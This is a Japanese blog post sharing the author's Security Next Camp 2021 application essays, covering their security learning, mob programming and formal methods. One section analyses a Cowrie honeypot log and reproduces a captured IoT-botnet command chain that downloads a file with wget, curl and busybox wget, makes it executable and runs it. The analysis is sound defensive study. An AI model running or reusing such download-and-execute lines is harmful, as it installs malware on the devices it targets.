コロラド大魔神

にほんごであそぼ

セキュリティ・ネクストキャンプ2021 応募課題

セキュリティ・ネクストキャンプ2021も無事終了したということで,応募課題を公開します.

体裁より物量で殴れば良いとどこかで聞いたので,些細なことも含めてひたすら書きました(追記:すみません、これは採用者によって評価基準が変わると思うので、毎年これで良いかと言われれば分かりません。また、ネクストと全国とまたトラック毎によって採点者も変わると思うので、参考程度でお願いします...。). 些細なことも書かないと伝わりませんし,何が審査員の琴線に触れるか分からない,なら書くしかない.

読んでみると滅茶苦茶なことが書かれていたりするので,温かい目で見て頂ければと思います.

来年以降にネクストキャンプに参加するつもりの方は参考にして頂ければ幸いです. (ネクストキャンプが毎年開催されるかはわかりませんが...)

以下,応募課題です.


あなたに関する問い

学部2年生では大学に出された科目を淡々とこなしており,特にこれがいいなと思わず過ごしておりました.そんな折に,学友からセキュリティ・ミニキャンプを紹介してもらい,セキュリティ・ミニキャンプに参加しました.セキュリティ分野に対して,社会的に需要があり,そして課題が山積みであることを認識しました.そしてセキュリティ分野で活躍している方々を見て,私もそのような人物になりたいと憧れるようになりました. しかし,セキュリティと言えど範囲が広大であるため,様々な情報や体験をすることで,徐々に定まっていくだろうと思い,2019年の奈良先端科学技術大学院大学のスプリングセミナーやリサーチインターンシップに赴きました.スプリングセミナーでは,主にカーセキュリティに対するexploitやCANに関するCTFをやらせて頂きました.コマンドを流すだけで,車のエンジンをふかすことができ,感動と恐怖を覚えました.リサーチインターンシップでは,共有メモリを用いたプロセスの調査をしました.IoT向けのマルウェアには,共有メモリを用いる傾向があり,アンチウイルスから回避するリスクがあります.そこでその再現をするための擬似検体を作成しました.共有メモリにアクセスする際に,セマフォを用いて安全に実行するプログラムを書きましたが,当時学部のOSの授業にてセマフォを習ったものの,どこで使うのかと思っていたため,感動しました.

ある時Ghidraの勉強会に参加し,リバースエンジニアリングに興味を持ちました.そこで,マルウェアを解析するためには,GitHubに公開されているファイルを落とすか,ハニーポットを構築し,そこから取得するしかないと,どこかの記事で見ました.そこでハニーポットも前から気になっていたので,GCPを使いCowireでtelnetssh用のハニーポットを立てました.この時,攻撃が毎日きていて思わずハニーポットを遮断してしまいそうになりました.東京のインスタンスに立てたので,中国やロシアからの攻撃があったのを覚えております.踏み台にしているため,大元は分かりませんが.パスワードは,アルファベットや数字の連続値やadminが多かったです.千ぐらいの攻撃の中,1~10ほどの攻撃の中にはルータのデフォルトパスワードも含まれてました.ログには,ほとんどの攻撃でbusyboxと呼ばれるコマンドが使われており,また流れに統一性があったため,スクリプトで動いていることを生で確認できました.集まったマルウェアらしきファイルをGhidraで解析すると,”ゲームを楽しもう”のような挑発する文言があったのを覚えております.また攻撃してきたログをGUIで表示するためのライブラリとしてcowire-logviewerというものがありましたが,UIが少々悪かったので,forkし,コミットしました(fork: https://github.com/msymt/cowrie-logviewer).IoTデバイスを狙うマルウェアとしてMiraiが有名ですが,ログを確認するとその亜種のようなものがよく見られたため,ブログに挙げまし(https://msy2456.hatenablog.com/entry/2019/12/06/004831).このようにレポートで満足せず,自分自身の手で動かし観測することを1ヶ月ほど動かしましたが,ログファイルが数十GBに溜まったり,仮に認可やハニーポットの設定を誤って,もし周りに迷惑をかけたらどうしようと不安になった為,ハニーポットの稼働を中止し,インスタンスも削除しました.しかし,大学院進学と共に再開しました.

私の今までの活動では,どうしても大学周りが多いため,座学のみで終わったり,環境上触れられなかったことが多いように思います.そこで,将来企業に就職か起業か,何かしら社会に専門家として振る舞う際,普段自分が精通していない領域でも,学習し,手を動かす人材になれるきっかけの一つとなれば良いなと思います.研究室での活動はどうしても分野がフォーカスしてしまい,よその分野を手に取れる機会が減りつつあるため,危惧しております.それを防ぐためにも大学院生ですが,サークルに入り,週1,2程度ですが学外の人含め,CTFやAtCoderなど研究以外のこともリーチしております.セキュリティ業界ではいつも予測していなかったな領域と融合し,そこから脅威を生み出しているため,一つのことに秀でることは勿論重要ですが,それだけにとらわれず,将来多種多様な部署や分野を統括する立場になったとして,それら多くの内容を理解でき,適切に指示できる人になりたいです.また,情報セキュリティに関する職に就くかわかりませんが,異分野でもあっても,普段から脆弱性やインシデントを防ぐためにも,教育者・開発者として世の中に貢献できる人としてなれたら良いなと思います.例えば社内・学内CTF運営です.

また,セキュリティ・ネクストキャンプに集まる方々は,優秀な方々であるため,その方々が普段どのように手を動かしているのか,その様子を直接観察し,またテイクするだけでなく,ギブできれば良いと考えます.お互い得のある場にしたいです.

課題への姿勢に関する問い

(今見ると間違っているところがあったのですが,そのままにします.)

疑問:ハニーポットから送られてきた命令は何をしているのだろう?

ハニーポット:cowireをGCPにたてて,ログを観察していたところ,バイト列が長いものがあったため,解析してみたいと思ったので,これを機に書き出してみます.

$ ~/cowrie/bin/playlog (ハッシュ値)

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@svr04:~# start
-bash: start: command not found
root@svr04:~# enable
enable .
enable :
enable [
enable alias
enable bg
enable bind
enable break
enable builtin
enable caller
enable cd
enable command
enable compgen
enable complete
enable continue
enable declare
enable dirs
enable disown
enable echo
enable enable
enable eval
enable exec
enable exit
enable export
enable false
enable fc
enable fg
enable getopts
enable hash
enable help
enable history
enable jobs
enable kill
enable let
enable local
enable logout
enable popd
enable printf
enable pushd
enable pwd
enable read
enable readonly
enable return
enable set
enable shift
enable shopt
enable source
enable suspend
enable test
enable times
enable trap
enable true
enable type
enable typeset
enable ulimit
enable umask
enable unalias
enable unset
enable wait
root@svr04:~# config terminal
-bash: config: command not found
root@svr04:~# system
-bash: system: command not found
root@svr04:~# linuxshell
-bash: linuxshell: command not found
root@svr04:~# su
root@svr04:~# shell
-bash: shell: command not found
root@svr04:~# sh
root@svr04:~# cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'
ELFroot@svr04:/# /bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'
wget: missing URL
Usage: wget [OPTION]... [URL]...

Try `wget --help' for more options.
ELFroot@svr04:/# cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /; rm -rf i; wget http://192.168.1.1:8088/i; curl -O http://192.168.1.1:8088/i; /bin/busybox wget http://192.168.1.1:8088/i; chmod 777 i || (cp /bin/ls ii;cat i>ii;rm i;cp ii i;rm ii); ./i; echo -e '\x63\x6F\x6E\x6E\x65\x63\x74\x65\x64'
--2021-04-24 11:11:05--  http://192.168.1.1:8088/i
Connecting to 192.168.1.1:8088... connected.
HTTP request sent, awaiting response... (

enableコマンドにより,ビルドインコマンドをチェックしている.

config terminal は,ciscoルータ用のコマンドのようだ(参照: https://beginners-network.com/cisco-catalyst-command/configure-terminal.html).つまり,ルータの設定を変えようとしていたと思われる.しかし,ubuntuのため敵わなかったようだ.

その後も,system, linuxshell, shell, sh とシェルで確実に末尾のコマンドを実行するための準備段階だと思われる.suは万が一管理者権限をもつアカウントに変更するためだと思われる.

root@svr04:~# cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

これらは,該当するディレクトリがあれば左のディレクトリを優先的に移り,busyboxからechoコマンドを呼び出している.'\x45\x4c\x46' は試しに実行してみるとELFのことだった.ELFというとLInuxのELFファイルが思い浮かぶが,ここでELFファイルが関係あるとは思えない.まだELFファイルをダウンロードもしていないからだ.となると,このコマンドの実行元に何かしらの合図として送った可能性が高いだろう.おそらくcdで移れる対象が存在するOSはLinux,だからELFが動作する環境だとしているのかもしれない.

root@svr04:/# /bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'
wget: missing URL
Usage: wget [OPTION]... [URL]...

Try `wget --help' for more options.

これらは,busyboxwgetを呼び出た.ここもわざわざELFをechoする意味がわからないが,2重チェックのためにELFをechoしているのだろうか.そしてwgetと打っていることと変わらないため,wgetのUsageの標準出力が現れた.

root@svr04:/# cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /; rm -rf i; wget http://192.168.1.1:8088/i; curl -O http://192.168.1.1:8088/i; /bin/busybox wget http://192.168.1.1:8088/i; chmod 777 i || (cp /bin/ls ii;cat i>ii;rm i;cp ii i;rm ii); ./i; echo -e '\x63\x6F\x6E\x6E\x65\x63\x74\x65\x64'
--2021-04-24 11:11:05--  http://192.168.1.1:8088/i
Connecting to 192.168.1.1:8088... connected.
HTTP request sent, awaiting response... (

ここのcdで先ほどと同じことを繰り返しているのは,念の為,だろうか.rm -rf iは後ろの命令でiiファイルをiにコピーするために一度消しているのだろう.

次にwgetでローカルホストに立てたwebサーバのiディレクトリから何かを落とそうとしているのがわかる.もしくはHTTPステータスコードを観察して,webサーバの有無を確認しているのだろうか.connectedになっているが,responseを待っている状態で終わっている.もちろんwebサーバを立てた覚えはない.

試しに他のVMインスタンスを立てて,ローカルのwebサーバも立てていない状態で実行してみました.

wget http://192.168.1.1:8088/i
--2021-05-10 06:30:38--  http://192.168.1.1:8088/i
Connecting to 192.168.1.1:8088... failed: Connection timed out.
Retrying.
--2021-05-10 06:31:11--  (try: 2)  http://192.168.1.1:8088/i
Connecting to 192.168.1.1:8088... 
failed: Connection timed out.
Retrying.

タイムアウトになっていますが,awaiting response... (とは表示されませんでした.tcpdumpを使ってスクリプト実行時のpcapファイルでも取得して詳しく観察したいのですが,今回はできず.

(もう一個書きましたが,諸事情により省略します.当時興味をもったツールで遊んで色々検証しました.)

興味ある分野に関する問い

TDD+モブプログラミング

これは昨年度の話なのだが,講義でk-means法の紹介があり,学友と実装することになった.あまり時間はかけたくなかったため,プログラミング言語はPython3.xで.ライブラリはnumpyまでOKという流れになった.この時,別々に実装するのは面白くないとなって,当時Twitterでモブプログラミングを見ていたので,モブプログラミング形式で実装した.お互い,Pythonもnumpyもよく知らなかったため,序盤はどちらもナビゲーター兼ドライバーだった.最初に,入出力を検討した後,モジュールを設計した.まさに「先にテストを作成するということは、先に関数やモジュールの入出力、挙動を設計するということです。」と重なっている.その後,私はナビゲーターとなり,ドキュメントを読みながら,必要そうな関数や処理を元にドライバーにその内容を投げたり,指示したりした.VSCodeのLive shareを使ったため,コードの貼り付けは容易だった.その結果,作業はスムーズに進み実装は数時間で終え,100行未満の小規模なプログラムが完成した.

これを例えば,組み込み開発のようなデータシートを何度も参照するソフトウェアを開発する際に導入したらどうなるのだろうか.実装者がわざわざデータシートと睨めっこするよりも,効率が良くなるかもしれない.またデータシートをどう参照し,実装しているのかオブザーバーとして新人に参加させつつ,ドライバーとして手を動かしてもらうと教育効果が現れるか気になる.

教育目的でやっていないかと思い調べたら,何個か記事が現れた(例:https://tech.smartcamp.co.jp/entry/advantages-and-disadvantages-of-mob-programming).記事の問題として集中力や役割の変更忘れなどがあった.私がモブプロをしたときは,数時間で終わるような処理だったため,体感することはなかった.ただ,役割の変更忘れがあり,ドライバー・ナビゲーターが固定化された.友人との取り組みだったため,いざこざも不満も特になかったが,仕事となるとそうではなかったかもしれない.ただ取り組んでいて,一人でやるより断然楽しいのは確かだった.仕事で導入するならば,タイマーかモジュール単位で役割を変更することが,一つの目安となるだろう.

形式手法

形式手法は,論理学・数学の素養を必要としており,専門性が高く実践で導入するケースは少ないと感じる.近年のプログラミング言語の簡易化によって,例えば低レイヤーのことを意識する必要がなくなっていき,初心者でも受け入れられやすいプログラミング言語が増えている(Pythonなど).このようなパラダイムシフトが形式手法でも起きうるのかどうかが気がかりである.

IPAの資料に形式手法の導入事例について書かれた文献があった.

https://www.ipa.go.jp/files/000005272.pdf

適用が顕著な業界は,鉄道,電力,航空宇宙(講義紹介の通り)など,人の命と直結するような,ミスが許されない業界が多い.

形式手法がアジャイル開発のような,ウォーターフォールやV字と比べて,仕様書が変動しやすい手法において,導入されるのか,それとも柔軟に変更しやすい手法があるのか,設計があるならともに実装していくのはどうだろうか.

そもそも,現在適用が顕著な業界は,リサーチ不足で感覚的なものであるが,アジャイルよりウォーターフォールやV字モデルが採用されていると思われる.それが,web業界のような変化の激しい分野に適用させるための工夫も考えていきたい.

調べてみると,DeNAでは形式手法を取り組む動きが出ているようだ.まだ形式手法が長期的に良い手法かは見極め中と述べている. https://swet.dena.com/entry/2020/03/17/165835

形式手法がまだまだ普及しない理由としては,厳密性が要求されるからとも思える.自然言語なら我々が生まれながらに用いている言語をそのまま使用すれば良いが,形式手法では厳密性が要求される数学,論理学をベースとしているためである.

インプット駆動型アイディアソン・自分の知識をアウトプットしよう

研究では特にインプットにより先行研究をサーベイし,開拓されていない領域を探して,研究結果を学会発表や論文で世界に発信することが重要です.特にインプットしたものをプロトタイプとして実装し,試すことを早くすることでさまざまな知見を得られる可能性があります.研究とものづくりは異なるといえども,根幹は同じだと思うので,研究や今後の人生においても,インプットの効率や独創性を上げるために,インプット駆動型アイディアソンでは,他の参加者や私の異なるバックグラウンドや講義からどのように組み合わせるのか,いわばアイディアを考えるためのアイディアをともに議論できたら良いなと考えております.アウトプットも.その方法が上手くならないと人に知られないまま消えていくアイディアやプロダクトが増えていくと思います.研究でも上手く伝わらないと,予算獲得に不利になったり,発表で意図が伝わらず正しく評価してもらえない恐れがあります.そのためにも,インプット駆動型アイディアソンと同様にアウトプットするときに,話のストーリーや逆三角形型,話の聞き手のリスト作成,ないが言いたいかを念頭に作る,など他の参加者がどのようにしているのか共有し議論したいと思います.

その他に関する問い

学部1年生の頃,大学で開催されたアイディアソン+ハッカソンに参加しました.当時はプログラミングは授業で触った程度でテーマだったWebに関することは全くできず,担当は美術+会計と,チームに殆ど貢献できませんでした.その後同じチームで,当時社会人だった方にWebアプリケーション開発のアルバイトの紹介をして頂き,1年半ほど従事しました.主に三人体制でチーム開発を行い,人生で初めて複数人で一つのプロダクトをリリースしました.この時,ソフトウェア開発は手を動かしてなんぼで,学部で情報系を選んだことを少し後悔し始めました.今となっては電気電子分野もやっておいてもよかったのではないかと思う時があります.

学部2年生の頃,カナダのウォータールー大学へ1週間ほど大学の援助によって見学させて頂きました.そこで勉強や世界中で有名な某企業にインターンシップへ行く彼ら彼女らの姿を見ていると,今までなんとなく勉強していたこともやめて,手を動かしたり単位を取るだけでなく進んで興味を持って勉強したいと思うようになりました.そこで上記にあったアルバイトをしたり,セキュリティ・ミニキャンプへ参加したり,と学外の活動やイベントに参加するようになりました.参加したセキュリティ・ミニキャンプでCTFという存在を知り,当時仲良くさせて頂いてたセキュリティに精通していた方のCTFチームに混ざって活動しておりました.しかし圧倒的な力の差を知り,挫折をして今日までやめてしまいました(大学院へ入学と共に大学のCTFや競技プログラミングを行なっているサークルへ参加し,復帰しました.まだまだ初心者です.).

大学の講義や実験は真面目に取り組もうと思い,卒業時には成績優秀者として学部長賞を受賞しました.手を動かした経験が学内では多い方かもしれませんが,全国の当時学部4年生の方々と比べると少ないと薄々感じてしまい,ここで満足してはいけないと痛感しました.

(中略)

学友と大学院入試対策を行う過程で,コンピュータアーキテクチャを過去問とコンピュータの構成と設計という書籍を副読本として勉強しておりました.そこで,学友から上記の書籍の主張に納得がいかないという話が上がり,原著も含めて調査しました.その後,調査結果を出版社に送信したところ,原著の著者であるパターソン先生から原文の表現が悪かったとの旨が出版社経由で届き,私の主張が認められました.その結果がURL(https://project.nikkeibp.co.jp/bnt/atcl/14/P98420/043000002/)に書かれてある通りです.これによって,今まで座学とペーパー試験で大半が評価されていて,通用するかわからず不安になっておりましたが,ここで通用することがわかり嬉しかったことを覚えております.またその内容を学内のLT会でも発表し知識の共有ができました(pdf:https://speakerdeck.com/msymt/patahenefalsewu-riwobao-gao-sitahua).

(中略)

学部時代にアルバイト先で勉強会を開こうと社内の人や私と同じアルバイトの人を誘いました. URL(https://github.com/msymt/JS30Days)のようにJavaScriptの勉強として実装しました. これは,JavaScript30(https://javascript30.com/)という30個のテーマがあって,それぞれ最初にどういう動き,デザインかを簡単に説明した後,各自で実装してみようというものでした.私も当時詳しいわけではなかったのですが,勉強しつつ参加者の方と議論しつつ作成しました.また,TypeScriptの勉強もするために,docsを読みながら解説する会も行いました(https://github.com/scrank/just-TS).

(中略)

大学の卒業研究では,助教の先生や異分野の方々と協力し,乾燥地における農業関係のAndroidアプリケーション開発に取り組みました.要件定義では,異分野の方々含め話し合い,先生と共にユーザーストーリーマップを作成しました.作成したユーザーストーリーマップを基にAndroidアプリケーションを開発し,テストを行い,最終的に関係者向けにベータ版のリリースまで行いました.この時,異分野の方々にシステム設計をどう説明するか(例えば,電波の届かない環境でユーザがアプリを操作した時,サーバに反映させるにはどうするか.結局Firebaseを使いましたが)に戸惑いつつも,社会に出る前に経験できて貴重な機会を得られたと思います.研究内容は,情報処理学会のWIPセッションで発表しました(URL: http://id.nii.ac.jp/1001/00207751/)

最後に,ここまで読んで頂きありがとうございました.私が大学生活の中で活動した内容の大体は書いたと思います.


以上が応募課題です.

次は君だ(オールマイト)